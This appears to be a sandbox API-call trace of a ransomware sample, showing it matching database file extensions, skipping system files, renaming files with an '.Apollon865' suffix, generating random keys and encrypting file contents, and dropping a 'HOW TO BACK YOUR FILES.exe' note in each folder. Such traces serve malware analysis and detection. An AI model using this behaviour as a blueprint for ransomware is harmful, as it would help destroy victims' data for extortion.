	[0054.546] lstrlenW (lpString="db3") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="db3") returned 1
	[0054.546] lstrlenW (lpString="dbf") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="dbf") returned 1
	[0054.546] lstrlenW (lpString="mdf") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="mdf") returned -1
	[0054.546] lstrlenW (lpString="mdb") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="mdb") returned -1
	[0054.546] lstrlenW (lpString="sql") returned 3
	[0054.546] lstrcmpiW (lpString1="ivo", lpString2="sql") returned -1
	[0054.546] lstrlenW (lpString="sqlite") returned 6
	[0054.546] lstrcmpiW (lpString1="narivo", lpString2="sqlite") returned -1
	[0054.546] lstrlenW (lpString="sqlite3") returned 7
	[0054.546] lstrcmpiW (lpString1="anarivo", lpString2="sqlite3") returned -1
	[0054.546] lstrlenW (lpString="sqlitedb") returned 8
	[0054.546] lstrcmpiW (lpString1="nanarivo", lpString2="sqlitedb") returned -1
	[0054.547] lstrlenW (lpString="xml") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="xml") returned -1
	[0054.547] lstrlenW (lpString="$er") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="$er") returned 1
	[0054.547] lstrlenW (lpString="4dd") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="4dd") returned 1
	[0054.547] lstrlenW (lpString="4dl") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="4dl") returned 1
	[0054.547] lstrlenW (lpString="^^^") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="^^^") returned 1
	[0054.547] lstrlenW (lpString="abs") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="abs") returned 1
	[0054.547] lstrlenW (lpString="abx") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="abx") returned 1
	[0054.547] lstrlenW (lpString="accdb") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accdb") returned 1
	[0054.547] lstrlenW (lpString="accdc") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accdc") returned 1
	[0054.547] lstrlenW (lpString="accde") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accde") returned 1
	[0054.547] lstrlenW (lpString="accdr") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accdr") returned 1
	[0054.547] lstrlenW (lpString="accdt") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accdt") returned 1
	[0054.547] lstrlenW (lpString="accdw") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accdw") returned 1
	[0054.547] lstrlenW (lpString="accft") returned 5
	[0054.547] lstrcmpiW (lpString1="arivo", lpString2="accft") returned 1
	[0054.547] lstrlenW (lpString="adb") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="adb") returned 1
	[0054.547] lstrlenW (lpString="adb") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="adb") returned 1
	[0054.547] lstrlenW (lpString="ade") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="ade") returned 1
	[0054.547] lstrlenW (lpString="adf") returned 3
	[0054.547] lstrcmpiW (lpString1="ivo", lpString2="adf") returned 1
	[0054.548] lstrlenW (lpString="adn") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="adn") returned 1
	[0054.548] lstrlenW (lpString="adp") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="adp") returned 1
	[0054.548] lstrlenW (lpString="alf") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="alf") returned 1
	[0054.548] lstrlenW (lpString="ask") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="ask") returned 1
	[0054.548] lstrlenW (lpString="btr") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="btr") returned 1
	[0054.548] lstrlenW (lpString="cat") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="cat") returned 1
	[0054.548] lstrlenW (lpString="cdb") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="cdb") returned 1
	[0054.548] lstrlenW (lpString="ckp") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="ckp") returned 1
	[0054.548] lstrlenW (lpString="cma") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="cma") returned 1
	[0054.548] lstrlenW (lpString="cpd") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="cpd") returned 1
	[0054.548] lstrlenW (lpString="dacpac") returned 6
	[0054.548] lstrcmpiW (lpString1="narivo", lpString2="dacpac") returned 1
	[0054.548] lstrlenW (lpString="dad") returned 3
	[0054.548] lstrcmpiW (lpString1="ivo", lpString2="dad") returned 1
	[0054.548] lstrlenW (lpString="dadiagrams") returned 10
	[0054.548] lstrcmpiW (lpString1="tananarivo", lpString2="dadiagrams") returned 1
	[0054.548] lstrlenW (lpString="daschema") returned 8
	[0054.548] lstrcmpiW (lpString1="nanarivo", lpString2="daschema") returned 1
	[0054.548] lstrlenW (lpString="db-journal") returned 10
	[0054.548] lstrcmpiW (lpString1="tananarivo", lpString2="db-journal") returned 1
	[0054.548] lstrlenW (lpString="db-shm") returned 6
	[0054.548] lstrcmpiW (lpString1="narivo", lpString2="db-shm") returned 1
	[0054.548] lstrlenW (lpString="db-wal") returned 6
	[0054.548] lstrcmpiW (lpString1="narivo", lpString2="db-wal") returned 1
	[0054.548] lstrlenW (lpString="dbc") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dbc") returned 1
	[0054.549] lstrlenW (lpString="dbs") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dbs") returned 1
	[0054.549] lstrlenW (lpString="dbt") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dbt") returned 1
	[0054.549] lstrlenW (lpString="dbv") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dbv") returned 1
	[0054.549] lstrlenW (lpString="dbx") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dbx") returned 1
	[0054.549] lstrlenW (lpString="dcb") returned 3
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dcb") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dct") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dcx") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="ddl") returned 1
	[0054.549] lstrcmpiW (lpString1="rivo", lpString2="dlis") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dp1") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dqy") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dsk") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dsn") returned 1
	[0054.549] lstrcmpiW (lpString1="rivo", lpString2="dtsx") returned 1
	[0054.549] lstrcmpiW (lpString1="ivo", lpString2="dxl") returned 1
	[0054.550] lstrcmpiW (lpString1="ivo", lpString2="eco") returned 1
	[0054.550] lstrcmpiW (lpString1="ivo", lpString2="ecx") returned 1
	[0054.550] lstrcmpiW (lpString1="ivo", lpString2="edb") returned 1
	[0054.550] lstrcmpiW (lpString1="rivo", lpString2="epim") returned 1
	[0054.550] lstrcmpiW (lpString1="ivo", lpString2="fcd") returned 1
	[0054.550] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Chagos" | out: lpString1="Chagos") returned="Chagos"
	[0054.550] lstrlenW (lpString="Chagos") returned 6
	[0054.550] lstrlenW (lpString="Apollon865") returned 10
	[0054.550] lstrlenW (lpString=".dll") returned 4
	[0054.550] lstrcmpiW (lpString1="Chagos", lpString2=".dll") returned 1
	[0054.550] lstrlenW (lpString=".lnk") returned 4
	[0054.550] lstrcmpiW (lpString1="Chagos", lpString2=".lnk") returned 1
	[0054.550] lstrlenW (lpString=".ini") returned 4
	[0054.550] lstrcmpiW (lpString1="Chagos", lpString2=".ini") returned 1
	[0054.550] lstrlenW (lpString=".sys") returned 4
	[0054.550] lstrcmpiW (lpString1="Chagos", lpString2=".sys") returned 1
	[0054.550] lstrlenW (lpString="Chagos") returned 6
	[0054.550] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Christmas" | out: lpString1="Christmas") returned="Christmas"
	[0054.550] lstrlenW (lpString="Christmas") returned 9
	[0054.550] lstrlenW (lpString="Apollon865") returned 10
	[0054.550] lstrlenW (lpString=".dll") returned 4
	[0054.550] lstrcmpiW (lpString1="Christmas", lpString2=".dll") returned 1
	[0054.550] lstrlenW (lpString=".lnk") returned 4
	[0054.550] lstrcmpiW (lpString1="Christmas", lpString2=".lnk") returned 1
	[0054.550] lstrlenW (lpString=".ini") returned 4
	[0054.550] lstrcmpiW (lpString1="Christmas", lpString2=".ini") returned 1
	[0054.551] lstrlenW (lpString=".sys") returned 4
	[0054.551] lstrcmpiW (lpString1="Christmas", lpString2=".sys") returned 1
	[0054.551] lstrlenW (lpString="Christmas") returned 9
	[0054.551] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas.Apollon865") returned 67
	[0054.551] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\christmas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\christmas.apollon865"), dwFlags=0x1) returned 1
	[0054.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\christmas.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.554] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=27) returned 1
	[0054.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.555] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.556] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.556] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.556] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x118
	[0054.575] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000
	[0054.579] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.580] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.580] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.581] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.581] CloseHandle (hObject=0x118) returned 1
	[0054.581] CloseHandle (hObject=0xc0) returned 1
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.581] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cocos", cAlternateFileName="")) returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="Apollon865.txt.exe") returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2=".") returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="..") returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="windows") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="bootmgr") returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="temp") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="pagefile.sys") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="boot") returned 1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="ids.txt") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="ntuser.dat") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="perflogs") returned -1
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2="MSBuild") returned -1
	[0054.582] lstrlenW (lpString="Cocos") returned 5
	[0054.582] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Christmas") returned 56
	[0054.582] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Cocos" | out: lpString1="Cocos") returned="Cocos"
	[0054.582] lstrlenW (lpString="Cocos") returned 5
	[0054.582] lstrlenW (lpString="Apollon865") returned 10
	[0054.582] lstrlenW (lpString=".dll") returned 4
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2=".dll") returned 1
	[0054.582] lstrlenW (lpString=".lnk") returned 4
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2=".lnk") returned 1
	[0054.582] lstrlenW (lpString=".ini") returned 4
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2=".ini") returned 1
	[0054.582] lstrlenW (lpString=".sys") returned 4
	[0054.582] lstrcmpiW (lpString1="Cocos", lpString2=".sys") returned 1
	[0054.582] lstrlenW (lpString="Cocos") returned 5
	[0054.582] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Comoro" | out: lpString1="Comoro") returned="Comoro"
	[0054.582] lstrlenW (lpString="Comoro") returned 6
	[0054.583] lstrlenW (lpString="Apollon865") returned 10
	[0054.583] lstrlenW (lpString=".dll") returned 4
	[0054.583] lstrcmpiW (lpString1="Comoro", lpString2=".dll") returned 1
	[0054.583] lstrlenW (lpString=".lnk") returned 4
	[0054.583] lstrcmpiW (lpString1="Comoro", lpString2=".lnk") returned 1
	[0054.583] lstrlenW (lpString=".ini") returned 4
	[0054.583] lstrcmpiW (lpString1="Comoro", lpString2=".ini") returned 1
	[0054.583] lstrlenW (lpString=".sys") returned 4
	[0054.583] lstrcmpiW (lpString1="Comoro", lpString2=".sys") returned 1
	[0054.583] lstrlenW (lpString="Comoro") returned 6
	[0054.583] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Kerguelen" | out: lpString1="Kerguelen") returned="Kerguelen"
	[0054.583] lstrlenW (lpString="Kerguelen") returned 9
	[0054.583] lstrlenW (lpString="Apollon865") returned 10
	[0054.583] lstrlenW (lpString=".dll") returned 4
	[0054.583] lstrcmpiW (lpString1="Kerguelen", lpString2=".dll") returned 1
	[0054.583] lstrlenW (lpString=".lnk") returned 4
	[0054.583] lstrcmpiW (lpString1="Kerguelen", lpString2=".lnk") returned 1
	[0054.583] lstrlenW (lpString=".ini") returned 4
	[0054.583] lstrcmpiW (lpString1="Kerguelen", lpString2=".ini") returned 1
	[0054.583] lstrlenW (lpString=".sys") returned 4
	[0054.583] lstrcmpiW (lpString1="Kerguelen", lpString2=".sys") returned 1
	[0054.583] lstrlenW (lpString="Kerguelen") returned 9
	[0054.583] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Mahe" | out: lpString1="Mahe") returned="Mahe"
	[0054.583] lstrlenW (lpString="Mahe") returned 4
	[0054.583] lstrlenW (lpString="Apollon865") returned 10
	[0054.583] lstrlenW (lpString=".dll") returned 4
	[0054.583] lstrlenW (lpString=".lnk") returned 4
	[0054.583] lstrlenW (lpString=".ini") returned 4
	[0054.583] lstrlenW (lpString=".sys") returned 4
	[0054.583] lstrlenW (lpString="Mahe") returned 4
	[0054.584] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Maldives" | out: lpString1="Maldives") returned="Maldives"
	[0054.584] lstrlenW (lpString="Maldives") returned 8
	[0054.584] lstrlenW (lpString="Apollon865") returned 10
	[0054.584] lstrlenW (lpString=".dll") returned 4
	[0054.584] lstrcmpiW (lpString1="Maldives", lpString2=".dll") returned 1
	[0054.584] lstrlenW (lpString=".lnk") returned 4
	[0054.584] lstrcmpiW (lpString1="Maldives", lpString2=".lnk") returned 1
	[0054.584] lstrlenW (lpString=".ini") returned 4
	[0054.584] lstrcmpiW (lpString1="Maldives", lpString2=".ini") returned 1
	[0054.584] lstrlenW (lpString=".sys") returned 4
	[0054.584] lstrcmpiW (lpString1="Maldives", lpString2=".sys") returned 1
	[0054.584] lstrlenW (lpString="Maldives") returned 8
	[0054.584] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Mauritius" | out: lpString1="Mauritius") returned="Mauritius"
	[0054.584] lstrlenW (lpString="Mauritius") returned 9
	[0054.584] lstrlenW (lpString="Apollon865") returned 10
	[0054.584] lstrlenW (lpString=".dll") returned 4
	[0054.584] lstrcmpiW (lpString1="Mauritius", lpString2=".dll") returned 1
	[0054.584] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Mayotte" | out: lpString1="Mayotte") returned="Mayotte"
	[0054.584] lstrlenW (lpString="Mayotte") returned 7
	[0054.584] lstrlenW (lpString="Apollon865") returned 10
	[0054.584] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte.Apollon865") returned 65
	[0054.584] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mayotte"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mayotte.apollon865"), dwFlags=0x1) returned 1
	[0054.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\mayotte.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.586] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65) returned 1
	[0054.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.587] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.587] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.587] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.588] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x150
	[0054.633] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0054.641] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0054.642] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.642] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0054.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.642] CloseHandle (hObject=0x150) returned 1
	[0054.642] CloseHandle (hObject=0xc0) returned 1
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.643] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="Apollon865.txt.exe") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2=".") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="..") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="windows") returned -1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="bootmgr") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="temp") returned -1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="pagefile.sys") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="boot") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="ids.txt") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="ntuser.dat") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="perflogs") returned 1
	[0054.643] lstrcmpiW (lpString1="Reunion", lpString2="MSBuild") returned 1
	[0054.643] lstrlenW (lpString="Reunion") returned 7
	[0054.643] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte") returned 54
	[0054.643] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Reunion" | out: lpString1="Reunion") returned="Reunion"
	[0054.643] lstrlenW (lpString="Reunion") returned 7
	[0054.643] lstrlenW (lpString="Apollon865") returned 10
	[0054.643] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe"
	[0054.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c56c8 | out: hHeap=0x580000) returned 1
	[0054.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0054.644] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned 46
	[0054.644] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe"
	[0054.644] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.644] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38a66490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38a66490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.657] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.657] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.657] lstrcmpiW (lpString1=".", lpString2=".") returned 0
